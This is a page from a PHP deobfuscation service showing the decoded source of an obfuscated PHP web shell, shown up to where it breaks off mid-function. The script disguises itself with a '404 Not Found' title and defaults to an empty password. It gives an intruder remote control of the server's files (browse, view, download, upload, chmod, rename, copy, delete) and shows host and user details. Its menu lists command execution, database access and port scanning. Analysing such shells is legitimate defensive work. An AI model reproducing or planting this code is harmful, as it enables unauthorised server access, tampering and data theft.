Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php goto jbITA; nDhsi: function run() { set_time_limit(0); ini_set("\155\145\x6d\x6f\16..

Decoded Output download

<?php
 goto jbITA; nDhsi: function run() { set_time_limit(0); ini_set("memory_limit", -1); if (!defined("password")) { define("password", ''); } if (!defined("title")) { define("title", "404 Not Found"); } if (!defined("copyright")) { define("copyright", "E"); } define("self", $_SERVER["SCRIPT_NAME"]); define("crypt", "ripemd128"); define("__ROOT__", $_SERVER["DOCUMENT_ROOT"]); define("is_win", "win" == substr(strtolower(PHP_OS), 0, 3)); date_default_timezone_set("asia/shanghai"); define("gzip", function_exists("ob_gzhandler") ? "gzip on" : "gzip off"); extract($_POST); extract($_GET); header("Cache-Control: no-cache, must-revalidate"); header("Pragma: no-cache"); project::init(); $action = !empty($action) ? strtolower(rtrim($action, "/")) : "login"; if (!is_callable(array("project", $action))) { return false; } if (!method_exists("project", $action)) { return false; } call_user_func(array("project", $action)); } goto Ptw9f; KDOFI: run(); goto Gajmj; jbITA: ?>
//<?php  goto KDOFI; Gajmj: class project { protected static function js() { $js = "<script>
function sideOut(d, t) {
\x9window.setTimeout(display, t);\xa\x9function display() {
	\x9$("load").style.display = "none"\xa	}\xa}\xafunction ajax(arg, type) {
\x9if ($("load")) {\xa\x9\x9$("load").style.display = "block";\xa	\x9$("load").innerHTML = "\346\xad\243\345\x9c\xa8\xe8\275\xbd\xe5\x85\xa5......"\xa\x9}
	if (type == 2 || arg == 2) {
\x9	$("load").innerHTML = "\345\x8a\x9f\350\x83\xbd\xe9\x99\x86\347\xbb\xad\345\256\214\345\x96\204\344\xb8\xad......";
	\x9sideOut($("load"), 1500);\xa	\x9return\xa\x9}\xa\x9if (type == 1) arg = 'action=show&dir=' + arg;
\x9if (type == 3) {\xa\x9	if (confirm("\xe7\241\256\xe5\256\232\345\x88\xa0\xe9\x99\244\345\xbd\223\345\x89\215\xe6\226\207\344\273\266\344\xb9\210?")) arg = 'action=delete&file=' + arg;\xa\x9	else {\xa\x9\x9	$("load").innerHTML = "\346\223\x8d\344\275\x9c\xe5\267\xb2\xe5\217\x96\xe6\266\210";
	\x9\x9sideOut($("load"), 1500);\xa\x9	\x9return\xa		}\xa	}\xa\x9if (type == 4) {\xa\x9\x9window.location.href = '?action=download&file=' + arg;\xa\x9	sideOut($("load"), 500);\xa		return
\x9}
	if (type == 5) {\xa	\x9var mk = prompt('\350\xaf\xb7\xe8\xbe\x93\345\205\245\xe5\x88\233\345\273\272\xe6\x96\207\xe4\xbb\266\345\244\xb9\345\x90\x8d\347\xa7\xb0:', '');
\x9\x9if (!mk) {\xa		\x9$("load").innerHTML = "\xe6\x93\215\344\xbd\234\345\xb7\xb2\xe5\217\x96\346\xb6\x88";\xa	\x9	sideOut($("load"), 1500);\xa			return
\x9\x9}
		arg = 'action=_mkdir&dir=' + mk
\x9}\xa	if (type == 6) {\xa\x9	$("upload").style.display = 'block';\xa		$("close_file").onclick = function() {\xa\x9	\x9$("upload").style.display = 'none';
\x9		$("load").innerHTML = "\xe6\x93\215\344\xbd\234\xe5\267\xb2\345\217\x96\346\xb6\210";
\x9\x9\x9sideOut($("load"), 1500);
\x9	\x9return\xa\x9\x9}
	\x9$("_file").onclick = function() {\xa\x9		this.form.submit();
		\x9$("upload").style.display = 'none';
			$("userfile").value = '';
\x9		return\xa	\x9}
	\x9return
\x9}\xa\x9action = arg ? arg: 'action=show';
	var options = {};\xa\x9options.url = '{self}';\xa\x9options.listener = callback;
	options.method = 'POST';\xa	var request = XmlRequest(options);
	request.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');\xa\x9request.send(action)\xa}\xafunction view(arg) {
	action = 'action=view&file=' + arg;\xa	var options = {};\xa	options.url = '{self}';\xa	options.listener = viewcallback;
	options.method = 'POST';\xa	var request = XmlRequest(options);\xa	request.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
	request.send(action)\xa}\xafunction edit() {\xa\x9$("load").style.display = "block";\xa	$("load").innerHTML = "\347\xa1\256\344\xbf\235\347\xbc\226\347\240\201\xe4\xb8\200\350\x87\264,\xe4\270\x8d\xe5\x9c\xa8\xe6\x8f\220\xe4\276\x9b\347\274\226\350\xbe\x91\xe5\x8a\x9f\350\203\275.\xe5\x8f\xaf\xe4\273\xa5\xe4\275\277\347\x94\xa8\xe4\270\212\xe4\274\xa0\345\x8a\237\xe8\x83\275\350\xa6\x86\347\233\226\xe5\275\x93\345\x89\x8d\xe7\274\x96\350\xbe\221\xe6\226\207\344\273\266!";\xa	sideOut($("load"), 4000);\xa	return
}
function fileperm(name, type) {
\x9var newperm;
\x9if (type == 3) newperm = prompt('\351\x9c\x80\350\xa6\x81\350\xbe\223\xe5\x85\245\345\xae\x8c\xe6\225\264\350\267\xaf\xe5\xbe\x84(\345\x8c\x85\xe5\220\xab\346\x96\x87\xe4\273\xb6\xe5\220\x8d):', '');\xa\x9else newperm = prompt('\xe8\xaf\267\350\276\223\345\x85\245\345\220\215\xe7\247\xb0:', '');
	if (!newperm) return;\xa	if (type == 1) chmod(name, newperm);
\x9if (type == 2) rename(name, newperm);\xa\x9if (type == 3) copy(name, newperm)\xa}\xafunction chmod(name, perm) {\xa	action = 'action=chmod&file=' + name + '&perm=' + perm;\xa\x9var options = {};\xa\x9options.url = '{self}';\xa	options.listener = callback;
\x9options.method = 'POST';\xa	var request = XmlRequest(options);\xa\x9request.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
	request.send(action)
}
function rename(name, perm) {\xa	action = 'action=rename&file=' + name + '&newname=' + perm;
\x9var options = {};\xa	options.url = '{self}';
	options.listener = callback;\xa	options.method = 'POST';\xa\x9var request = XmlRequest(options);
\x9request.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
\x9request.send(action)
}
function copy(name, perm) {\xa\x9action = 'action=copyfile&file=' + name + '&copyfile=' + perm;\xa\x9var options = {};
\x9options.url = '{self}';\xa\x9options.listener = callback;\xa	options.method = 'POST';
	var request = XmlRequest(options);
	request.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
\x9request.send(action)\xa}
function XmlRequest(options) {
\x9var req = false;
\x9if (window.XMLHttpRequest) {
		var req = new XMLHttpRequest()\xa	} else if (window.ActiveXObject) {
\x9\x9var req = new window.ActiveXObject('Microsoft.XMLHTTP')
	}
	if (!req) return false;\xa\x9req.onreadystatechange = function() {\xa\x9	if (req.readyState == 4 && req.status == 200) {
	\x9	options.listener.call(req)\xa	\x9}\xa	};
\x9req.open(options.method, options.url, true);\xa	return req\xa}\xafunction viewcallback() {\xa	var data = this.responseText;\xa\x9if (data) {\xa\x9\x9$("open").style.display = "block";
		$("show_file").focus();
	\x9$("show_file").innerHTML = data;\xa\x9\x9close();
		$("show_file").onblur = function() {\xa			$("open").style.display = "none"\xa\x9\x9}\xa\x9} else {\xa\x9\x9$("load").style.display = "block";
	\x9$("load").innerHTML = "\xe4\270\x8d\xe6\224\xaf\xe6\214\201\xe9\xa2\x84\350\247\210\346\xad\244\xe7\xb1\xbb\345\x9e\213\347\x9a\x84\xe6\226\207\344\273\266,\xe6\210\226\xe8\x80\205\xe9\xa2\x84\350\247\210\xe7\232\x84\346\226\x87\344\xbb\266\xe5\244\xa7\xe4\272\x8e1Mb!";
\x9	sideOut($("load"), 2000);
\x9\x9return
	}\xa}\xafunction callback() {\xa\x9var json = eval("(" + this.responseText + ")");
	if (json.status == 'off') {
\x9	document.onkeydown = function(e) {
		    var theEvent = window.event || e;      \xa            var code = theEvent.keyCode || theEvent.which; 
	\x9	if (80 == code) {
		\x9	$("login").style.display = "block"
\x9\x9\x9}\xa\x9\x9}
	}
\x9if (json.status == 'close') {
\x9\x9document.body.innerHTML = json.data;
		$("login").style.display = "block";\xa\x9\x9login()
	}\xa    if (json.status=='on'){\xa        window.location.reload();
        return;\xa    }\xa\x9if (json.status == 'ok') {\xa		ajax();
	\x9document.body.innerHTML = json.data\xa\x9}\xa	if (json.pages == '') {
\x9\x9$("pages").style.display = "none"\xa	}\xa	if (json.pages) {
\x9\x9$("pages").style.display = "block";\xa	\x9$("pages").innerHTML = json.pages
	}
\x9if (json.node_data) $("show").innerHTML = json.node_data;\xa	if (json.time) $("runtime").innerHTML = json.time;
	if (json.listdir) $("listdir").innerHTML = json.listdir;\xa	if (json.memory) $("memory").innerHTML = json.memory;\xa	if (json.disktotal) $("disktotal").innerHTML = json.disktotal;
	if ($("load")) {
\x9	$("load").style.display = "none"\xa\x9}
\x9if (json.error) {\xa\x9	$("load").style.display = "block";
\x9	$("load").innerHTML = json.error;\xa\x9	sideOut($("load"), 1500)\xa\x9}\xa    \x9if (json.notice) {
\x9\x9$("load").style.display = "block";\xa	\x9$("load").innerHTML = json.notice;
		sideOut($("load"), 1500);
\x9}
}
function reload() {
	var options = {};
	options.url = '{self}';\xa\x9options.listener = callback;\xa	options.method = 'POST';\xa	var request = XmlRequest(options);\xa	request.setRequestHeader('AJAX', 'true');\xa\x9request.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
	request.send('action=init')\xa}
function addEvent(obj, evt, fn) {
	if (obj.addEventListener) {
	\x9obj.addEventListener(evt, fn, false)\xa	} else if (obj.attachEvent) {
		obj.attachEvent('on' + evt, fn)
\x9}
}
function init() {\xa	$();
	login();\xa	reload()
}
function close() {\xa	$("close").onclick = function() {
\x9\x9$("open").style.display = "none"
\x9}
}\xafunction login() {
	$("login_open").onclick = function() {
	\x9var pwd = $("pwd").value;\xa	\x9var options = {};\xa\x9	options.url = '{self}';\xa	\x9options.listener = callback;
\x9	options.method = 'POST';
\x9	var request = XmlRequest(options);\xa\x9\x9request.setRequestHeader('AJAX', 'true');\xa		request.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
	\x9if (pwd) request.send('pwd=' + pwd)\xa\x9}\xa}\xafunction $(d) {\xa\x9return document.getElementById(d)\xa}
addEvent(window, 'load', init);\xa</script>"; return str_replace("{self}", self, $js); } protected static function css() { $css = " input{font:11px Verdana;BACKGROUND:#FFFFFF;height:18px;border:1px solid #666666;}a{color:#00f;text-decoration:underline;}a:hover{color:#f00;text-decoration:none;}body{font:12px Arial,Tahoma;line-height:16px;margin:0;padding:0;}#header{height:20px;border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 15px 5px 5px;font-weight:bold;}#header .left{float:left;}#header .right{float:right;}#menu{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 15px 5px 5px;}#content{margin:0 auto;width:98%;}#content h2{margin-top:15px;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}#content #base,#content #base2{background:#eee;margin-bottom:10px;}#base input{float:right;border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;margin:5px 10px;}.cdrom{padding:5px;margin:auto 7px;}.h{margin-top:8px;}#base2 .input{font:12px Arial,Tahoma;background:#fff;border:1px solid #666;padding:2px;height:18px;}#base2 .bt{border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}dl,dt,dd{margin:0;}.focus{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 15px 5px 5px;}.fff{background:#fff}dl{margin:0 auto;width:100%;}dt,dd{overflow:hidden;border-top:1px solid white;border-bottom:1px solid #DDD;background:#F1F1F1;padding:5px 15px 5px 5px;}dt{border-top:1px solid white;border-bottom:1px solid #DDD;background:#E9E9E9;font-weight:bold;padding:5px 15px 5px 5px;}dt span,dd span{width:19%;display:inline-block;text-indent:0em;overflow:hidden;}#footer{padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;}#load{position:fixed;right:0;border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 15px 5px 5px;display:none;}.in{width:40px;text-align:center;}#pages{display:none;}.high{background-color:#0449BE;color:white;margin:0 2px;padding:2px 3px;width:10px;}.high2{margin:0 2px;padding:2px 0px;width:10px;}#login{display:none;}#show_file{color:#000;height:400px;width:800px;position:fixed;top:45%;left:50%;margin-top:-200px;margin-left:-400px;background:#fff;overflow:auto;}#open,#upload{display:none;position:fixed;top:45%;left:50%;margin-top:-200px;margin-left:-400px;}#close{color:#fff;height:16px;width:30px;position:absolute;right:0;background:#000;z-index:1;}#upfile{width:628px;height:108px;padding:10px 20px;background-color:white;position:fixed;top:45%;left:50%;margin-top:-54px;margin-left:-314px;}"; return $css; } static function init() { self::authentication(); } function show($msg = '') { self::G("runtime"); header("Cache-Control: no-cache, must-revalidate"); header("Pragma: no-cache"); header("Content-type:text/html;charset=utf-8"); $url = isset($_COOKIE["PATH"]) ? $_COOKIE["PATH"] : self::convert_to_utf8(sprintf("%s%s", rtrim(__ROOT__, "/"), "/"), "utf8"); $file = !empty($_POST["dir"]) ? urldecode(self::convert_to_utf8(rtrim($_POST["dir"], "/"), "utf8")) . "/" : $url; if (!is_readable($file)) { return false; } setcookie("PATH", $file, time() + 3600); clearstatcache(); if (function_exists("scandir")) { $array = scandir($file); } elseif (function_exists("glob")) { foreach (glob($file . "*") as $ff) { $array[] = basename($ff); } } $total_nums = count($array); $page_nums = 50; $nums = $total_nums > $page_nums ? ceil($total_nums / $page_nums) : 1; if ($nums > 1) { $page = intval($_POST["page"]) ? intval($_POST["page"]) : 1; if ($page > $nums || $page < 1) { $page = 1; } if ($page == 1) { $for_start = 0; $for_page = $page * $page_nums - 1; } else { $for_page = $page * $page_nums - 1 > $total_nums ? $total_nums : $page * $page_nums - 1; $for_start = $page * $page_nums - 1 > $total_nums ? ($page - 1) * $page_nums - 2 : $for_page - $page_nums - 1; } } if ($nums == 1) { $for_start = 0; $for_page = $total_nums; } for ($i = $for_start; $i < $for_page; ++$i) { if ($array[$i] == "." || $array[$i] == "..") { continue; } if (is_dir($file . $array[$i])) { $dir[] = $array[$i]; } elseif (is_file($file . $array[$i])) { $files[] = $array[$i]; } } $next = $page + 1 <= $nums ? $page + 1 : $nums; $previous = $page - 1 > 1 ? $page - 1 : 1; if ($nums > 10) { if ($page > 5) { if ($nums - $page >= 5) { $ipage = $page - 4; $_nums = $page + 5; } else { $ipage = $nums - 9; $_nums = $nums; } } else { $ipage = 1; $_nums = 10; } } else { $ipage = 1; $_nums = $nums; } for ($i = $ipage; $i <= $_nums; ++$i) { if ($i == $page) { $_page .= sprintf("<a  class="high" href="javascript:;;;" name="action=show&dir=%s&page=%s" onclick="ajax(this.name)">%s</a> ", urlencode(self::convert_to_utf8($file)), $i, $i); } else { $_page .= sprintf("<a href="javascript:;;;" name="action=show&dir=%s&page=%s" onclick="ajax(this.name)">%s</a> ", urlencode(self::convert_to_utf8($file)), $i, $i); } } if (!isset($dir)) { $dir = array(); } if (!isset($files)) { $files = array(); } $_ipage_file = urlencode(rtrim(self::convert_to_utf8($file), "/")); $_pages = "    <dl>\xa    <dd>\xa    <span class="in">\xe3\x80\x80</span>
    <span></span>
    <span></span>
    <span></span>\xa    <span style="text-align:right;width:38%">\xa    <a class="high2" href="javascript:;;;" name="action=show&dir={$_ipage_file}&page=1" onclick="ajax(this.name)">Index</a>   \xa    <a class="high2" href="javascript:;;;" name="action=show&dir={$_ipage_file}&page={$previous}" onclick="ajax(this.name)">Previous</a>
    {pages}\xa    <a class="high2" href="javascript:;;;" name="action=show&dir={$_ipage_file}&page={$next}" onclick="ajax(this.name)">Next</a>\xa    <a class="high2" href="javascript:;;;" name="action=show&dir={$_ipage_file}&page={$nums}" onclick="ajax(this.name)">End</a>\xa    </dd>
    </dl>
S;{$return}=<<<S
 <!-- return -->\xa <dl>
  <dt>
    <span class="in">\343\x80\x80</span>
    <span>\xe6\x96\207\xe4\273\xb6\345\220\215</span>\xa    <span>\xe4\xbf\256\xe6\224\271\346\227\266\xe9\227\264</span>
    <span>\xe6\x96\x87\344\273\266\xe5\244\247\345\260\x8f</span>\xa    <span>\346\235\x83\xe9\231\x90</span>
    <span>\346\223\215\344\xbd\234</span>
  </dt>
  <dd >\xa    <span class="in">\xa    -
    </span>\xa    <span>
      <a href="javascript:;;;" name="{back}" onclick="ajax(this.name,1)">\350\277\224\xe5\x9b\236\xe4\270\212\xe4\270\x80\xe7\233\xae\xe5\xbd\225</a>\xa    </span>
    <span></span>\xa    <span></span>\xa    <span></span>\xa     <span></span>\xa  </dd>
  {file}
 </dl>"; $return_file = "  <!-- file -->
  <dd class="{className}" onmouseover="this.className='focus';" onmouseout="this.className='{className}';">\xa    <span class="in">
     <input name="{return_link}" type="checkbox" onclick="ajax(this.name,3)">
    </span>
    <span>
    <a href="javascript:;;;" name="{return_link}" onclick="{return_onclick}">{return_file}</a>\xa    </span>
    <span>\xa     <a href="javascript:;;;" name="{return_link}" onclick="ajax(this.name,2)">{return_time}</a>
    </span>
    <span>{return_size}</span>\xa    <span>\xa     <a href="javascript:;;;" name="{return_link}" onclick="fileperm(this.name,1)">{return_chmod}</a> / \xa     <a href="javascript:;;;" name="{return_link}">{return_perms}</a>\xa    </span>\xa    <span>
     {is_folder}
   </span>\xa  </dd>"; $document = array_merge($dir, $files); foreach ($document as $i => $gbk) { $utf8 = self::convert_to_utf8($gbk); $utf8_file = self::convert_to_utf8($file); $className = $i % 2 ? "dd" : "fff"; if (is_dir($file . $gbk)) { $return_onclick = "ajax(this.name,1)"; $return_folder = sprintf("\xa            <a href="javascript:;;;" name="%s" onclick="fileperm(this.name,2)">\xe9\x87\215\xe5\x91\xbd\xe5\x90\x8d</a>", urlencode($utf8_file . $utf8)); } if (is_file($file . $gbk)) { $return_onclick = "view(this.name)"; $return_folder = sprintf("
            <a href="javascript:;;;" name="%s" onclick="ajax(this.name,4)">\344\270\213\xe8\275\xbd</a> | 
            <a href="javascript:;;;" name="%s" onclick="fileperm(this.name,3)">\345\xa4\x8d\345\210\xb6</a> | 
            <a href="javascript:;;;" name="%s" onclick="edit()">\347\274\226\350\xbe\x91</a> | 
            <a href="javascript:;;;" name="%s" onclick="fileperm(this.name,2)">\351\x87\x8d\345\x91\275\xe5\220\x8d</a>", urlencode($utf8_file . $utf8), urlencode($utf8_file . $utf8), urlencode($utf8_file . $utf8), urlencode($utf8_file . $utf8)); } $search = array("{className}", "{return_file}", "{return_time}", "{return_size}", "{return_chmod}", "{return_perms}", "{return_link}", "{return_onclick}", "{is_folder}"); $replace = array($className, $utf8, self::perms($file . $gbk, 3), self::perms($file . $gbk, 4), self::perms($file . $gbk, 1), self::perms($file . $gbk, 2), urlencode($utf8_file . $utf8), $return_onclick, $return_folder); $directory["html"] .= str_replace($search, $replace, $return_file); } $directory["node_data"] = str_replace(array("{file}", "{back}"), array($directory["html"], urlencode(str_replace("\\", "/", dirname(self::convert_to_utf8($file))))), $return); $pages = str_replace("{pages}", $_page, $_pages); $directory["pages"] = $nums > 1 ? $pages : ''; unset($directory["html"], $_pages); $directory["folder"] = count($dir); $directory["file"] = count($files); $directory["time"] = self::G("runtime", "end"); $directory["listdir"] = self::uppath($file); $directory["memory"] = self::byte_format(memory_get_peak_usage()); $directory["disktotal"] = self::byte_format(disk_total_space($file)); if (true == $msg) { $directory["error"] = $msg; } unset($dir, $files); if (!ob_start("ob_gzhandler")) { ob_start(); } clearstatcache(); echo json_encode($directory); ob_end_flush(); unset($directory); die; } function view() { header("Cache-Control: no-cache, must-revalidate"); header("Pragma: no-cache"); header("Content-type:text/html;charset=UTF-8"); $file = urldecode(self::convert_to_utf8($_POST["file"], "utf8")); ob_start(); $path = pathinfo($file); if (filesize($file) > 1024 * 1024) { die; } if (in_array(strtolower($path["extension"]), array("exe", "dat", "mp3", "rmvb", "jpg", "png", "gif", "swf", "gz", "bz2", "tar", "sys", "dll", "so", "bin", "pdf", "chm", "doc", "xls", "wps", "ogg", "mp4", "flv", "ppt", "zip", "iso", "msi"))) { die; } $c = self::convert_to_utf8(file_get_contents($file)); if (!ob_start("ob_gzhandler")) { ob_start(); } clearstatcache(); $c = htmlspecialchars($c); echo "<code><pre>{$c}<pre></code>"; ob_end_flush(); die; } function _mkdir() { if ($_POST["dir"]) { $mkdir = $_COOKIE["PATH"] . self::convert_to_utf8($_POST["dir"], "utf8"); if (true == @mkdir($mkdir, 511)) { $_POST["dir"] = $_COOKIE["PATH"]; self::show("\346\x96\207\344\xbb\266\xe5\244\271\xe5\210\x9b\345\xbb\272\346\210\x90\xe5\212\x9f"); } else { die("{"error":"\xe6\x96\207\xe4\273\xb6\345\244\271\345\210\233\345\273\272\345\xa4\xb1\xe8\xb4\245"}"); } } } function chmod() { if ($_POST["file"] && $_POST["perm"]) { $file = urldecode(self::convert_to_utf8($_POST["file"], "utf8")); $perm = base_convert($_POST["perm"], 8, 10); if (true == @chmod($file, $perm)) { $_POST["dir"] = $_COOKIE["PATH"]; self::show("\346\235\x83\351\x99\x90\xe4\xbf\xae\346\224\271\346\x88\220\345\x8a\x9f"); } else { die("{"error":"\xe6\226\x87\344\xbb\xb6\344\xbf\xae\346\x94\xb9\345\xa4\xb1\xe8\264\xa5"}"); } } } function rename() { if ($_POST["file"] && $_POST["newname"]) { $file = urldecode(self::convert_to_utf8($_POST["file"], "utf8")); $newname = $_COOKIE["PATH"] . self::convert_to_utf8($_POST["newname"], "utf8"); if (true == @rename($file, $newname)) { $_POST["dir"] = $_COOKIE["PATH"]; self::show("\xe6\226\207\344\xbb\266\351\x87\215\345\x91\xbd\345\220\215\xe6\x88\220\xe5\212\x9f"); } else { die("{"error":"\xe6\226\207\xe4\273\xb6\344\277\256\346\224\271\345\xa4\xb1\xe8\xb4\245"}"); } } } function upload() { $file = $_COOKIE["PATH"] . basename($_FILES["userfile"]["name"]); if (true == @move_uploaded_file($_FILES["userfile"]["tmp_name"], self::convert_to_utf8($file, "utf8"))) { die("<script>\xa          parent.ajax();
          parent.$("load").style.display = "block";\xa          parent.$("load").innerHTML = "\xe4\xb8\x8a\344\274\xa0\346\210\220\345\x8a\237";
        </script>"); } else { die("<script>
         parent.$("load").style.display = "block";
         parent.$("load").innerHTML = "\xe4\xb8\x8a\xe4\xbc\240\xe5\244\261\350\xb4\xa5";
         parent.sideOut(parent.$("load"),1500);
        </script>"); } } function copyfile() { if ($_POST["file"] && $_POST["copyfile"]) { $file = urldecode(self::convert_to_utf8($_POST["file"], "utf8")); $newname = self::convert_to_utf8($_POST["copyfile"], "utf8"); if (true == @copy($file, $newname)) { die("{"error":"\346\226\207\xe4\273\266\346\x8b\267\xe8\xb4\235\346\210\x90\345\x8a\x9f"}"); } else { die("{"error":"\346\x96\207\344\xbb\xb6\346\213\267\xe8\xb4\235\xe5\244\xb1\350\264\xa5"}"); } } } function delete() { $file = urldecode(self::convert_to_utf8($_POST["file"], "utf8")); if (is_file($file)) { if (true == @unlink($file)) { $_POST["dir"] = $_COOKIE["PATH"]; self::show("\xe6\226\x87\xe4\273\266\xe5\x88\xa0\351\x99\xa4\xe6\x88\x90\xe5\212\x9f"); } else { die("{"error":"\xe6\x96\207\344\273\266\xe5\x88\240\xe9\x99\xa4\345\244\xb1\350\264\245"}"); } } if (is_dir($file)) { if (true == @rmdir($file)) { $_POST["dir"] = $_COOKIE["PATH"]; self::show("\xe6\226\207\344\xbb\266\345\xa4\xb9\345\x88\xa0\xe9\x99\xa4\346\x88\x90\xe5\x8a\237"); } else { die("{"error":"\346\226\207\xe4\xbb\xb6\xe5\244\xb9\xe5\210\xa0\xe9\x99\xa4\xe5\244\xb1\350\xb4\xa5"}"); } } } function download() { $filename = urldecode(self::convert_to_utf8($_GET["file"], "utf8")); if (file_exists($filename)) { header("Cache-Control: no-cache, must-revalidate"); header("Pragma: no-cache"); header("Content-Disposition: attachment; filename=" . basename($filename)); header("Content-Length: " . filesize($filename)); header("Content-Type: application/force-download"); header("Content-Description: File Transfer"); header("Content-Encoding: none"); header("Content-Transfer-Encoding: binary"); @readfile($filename); die; } } protected static function uppath($path) { $return = ''; $path = self::convert_to_utf8(rtrim($path, "/")); if (strpos($path, "/") == 0) { return sprintf("<a href="javascript:;;;" name="%s" onclick="ajax(this.name,1)">%s</a>", $path, ucfirst($path)); } else { $array = explode("/", $path); foreach ($array as $i => $value) { if ($i == 0) { $path = $value; } if ($i > 0) { $path .= sprintf("/%s", $array[$i]); } $return .= sprintf("<a href="javascript:;;;" name="%s" onclick="ajax(this.name,1)">%s</a> ", $path, ucfirst($value)); } return $return; } } protected static function perms($file, $type = "1") { if ($type == 1) { return substr(sprintf("%o", fileperms($file)), -4); } if ($type == 2) { return self::getperms($file); } if ($type == 3) { return date("Y-m-d h:i:s", filemtime($file)); } if ($type == 4) { return is_dir($file) ? "directory" : self::byte_format(sprintf("%u", filesize($file))); } } protected static function headers() { header("Cache-Control: no-cache, must-revalidate"); header("Pragma: no-cache"); $eof = "<div id="load">
</div>\xa<div id="upload">\xa<div id="upfile">\xa<p></p><p></p><p><a href="javascript:;;;" id="close_file">\xe7\202\271\xe6\210\x91\xe5\x85\263\xe9\x97\xad</a></p>\xa<form action="" id="form1" name="form1" encType="multipart/form-data"  method="post" target="hidden_frame">\xa    <input name="action" value="upload" type="hidden" />\xa    <input type="file" id="userfile" name="userfile">  \xa    <INPUT id="_file" type="button" value="\344\xb8\x8a\xe4\274\240\346\x96\x87\344\xbb\266">         \xa    <iframe name='hidden_frame' id="hidden_frame" style='display:none'></iframe>  
</form>  \xa</div>\xa</div>
<div id="open">
<div style="position:relative;">\xa<div id="close">\xe5\205\xb3\351\227\255</div>
</div>
<div id="show_file">
</div>
</div>
<div id="header">\xa  <div class="left">
  {host}({ip})\xa  </div>\xa  <div class="right">
  OS:{uname} {software} php {php_version}\xa  </div>\xa</div>\xa<div id="menu">
    {menu}
</div>\xa<div id="content">
<h2>\346\226\207\xe4\xbb\xb6\xe7\256\241\347\x90\x86 - \xe5\xbd\223\xe5\x89\215\347\xa3\x81\347\x9b\230\xe7\xa9\272\351\x97\xb4 <span id="disktotal"></span> \350\xbf\220\xe8\xa1\x8c\xe7\224\250\xe6\210\267:{whoami}</h2>
  <div id="base">\xa    <div class="cdrom">\xa      <span id="listdir"></span>\xa    </div>\xa    <div class="cdrom">
      {cdrom}
    </div>\xa  </div>\xa  <div class="h"></div>\xa  <div id="base2">\xa    <div class="cdrom">
      {action}\xa    </div>
    <div class="cdrom">
      \346\x9f\245\346\211\276\xe6\x96\207\344\273\xb6(\345\275\x93\xe5\x89\x8d\350\xb7\xaf\xe5\xbe\204): <input class="input" name="findstr" value="" type="text" /> <input class="bt" value="\xe6\x9f\245\346\x89\276" type="submit" />
    </div>\xa  </div>
  <!-- return -->\xa  <div id="show">
  </div>\xa  <div id="pages">\xa  </div>
  <!-- end -->\xa</div> \xa<div class="h"></div>\xa<div id="footer">\xa  <span style="float:right;">
     Processed in <span id="runtime"></span> second(s) {gzip} usage:<span id="memory">{memory}</span>\xa  </span>\xa  Powered by {copyright}\xa  . Copyright (C) 2010-2012
   All Rights Reserved.
</div>"; $actions[] = array("name" => "\xe7\275\x91\347\xab\231\xe7\233\xae\xe5\275\225", "url" => urlencode($_SERVER["DOCUMENT_ROOT"]), "type" => 1); $actions[] = array("name" => "\xe6\226\x87\344\xbb\xb6\xe7\x9b\256\xe5\xbd\225", "url" => urlencode(str_replace(array("\\"), array("/"), dirname(__FILE__))), "type" => 1); $actions[] = array("name" => "\xe5\210\x9b\345\273\272\xe6\226\x87\344\273\266\xe5\xa4\271", "url" => "null", "type" => "5"); $actions[] = array("name" => "\xe5\210\x9b\345\xbb\xba\346\226\207\344\xbb\xb6", "url" => "2", "type" => "2"); $actions[] = array("name" => "\xe4\xb8\x8a\xe4\274\xa0\346\226\x87\xe4\273\266", "url" => "null", "type" => "6"); $menus[] = array("name" => "\xe9\200\x80\xe5\207\272", "url" => "action=logout", "type" => "null"); $menus[] = array("name" => "\xe6\226\207\344\xbb\266\xe7\xae\xa1\xe7\x90\x86", "url" => urlencode(str_replace(array("\\"), array("/"), dirname(__FILE__))), "type" => 1); $menus[] = array("name" => "\xe6\225\260\xe6\215\xae\xe5\272\x93\xe6\223\215\344\xbd\234", "url" => "2", "type" => "2"); $menus[] = array("name" => "\350\277\220\350\241\214\345\x91\xbd\344\xbb\244", "url" => "2", "type" => "2"); $menus[] = array("name" => "PHP\347\x9b\270\xe5\x85\263", "url" => "2", "type" => "2"); $menus[] = array("name" => "\347\xab\xaf\345\x8f\243\346\x89\253\346\x8f\x8f", "url" => "2", "type" => "2"); $menus[] = array("name" => "PHP\xe5\221\xbd\xe4\273\244", "url" => "2", "type" => "2"); foreach ($menus as $key => $value) { $menu .= sprintf("<a href="javascript:;;;" name="%s" onclick=ajax(this.name,%s)>%s</a> | ", $value["url"], $value["type"], $value["name"]); } foreach ($actions as $key => $value) { $action .= sprintf("<a href="javascript:;;;" name="%s" onclick=ajax(this.name,%s)>%s</a> | ", $value["url"], $value["type"], $value["name"]); } $serach = array("{title}", "{host}", "{ip}", "{uname}", "{software}", "{php_version}", "{menu}", "{copyright}", "{cdrom}", "{action}", "{gzip}", "{memory}", "{js}", "{css}", "{whoami}"); if (!function_exists("posix_getegid")) { $user = @get_current_user(); $uid = @getmyuid(); $gid = @getmygid(); $group = "?"; } else { $uid = @posix_getpwuid(@posix_geteuid()); $gid = @posix_getgrgid(@posix_getegid()); $user = $uid["name"]; $uid = $uid["uid"]; $group = $gid["name"]; $gid = $gid["gid"]; } $replace = array(title, $_SERVER["HTTP_HOST"], $_SERVER["SERVER_ADDR"], php_uname("s"), $_SERVER["SERVER_SOFTWARE"], PHP_VERSION, trim($menu, "| "), copyright, self::disk(), trim($action, "| "), gzip, self::byte_format(memory_get_peak_usage()), self::js(), self::css(), $uid . " ( " . $user . " ) / Group: " . $gid . " ( " . $group . " )"); 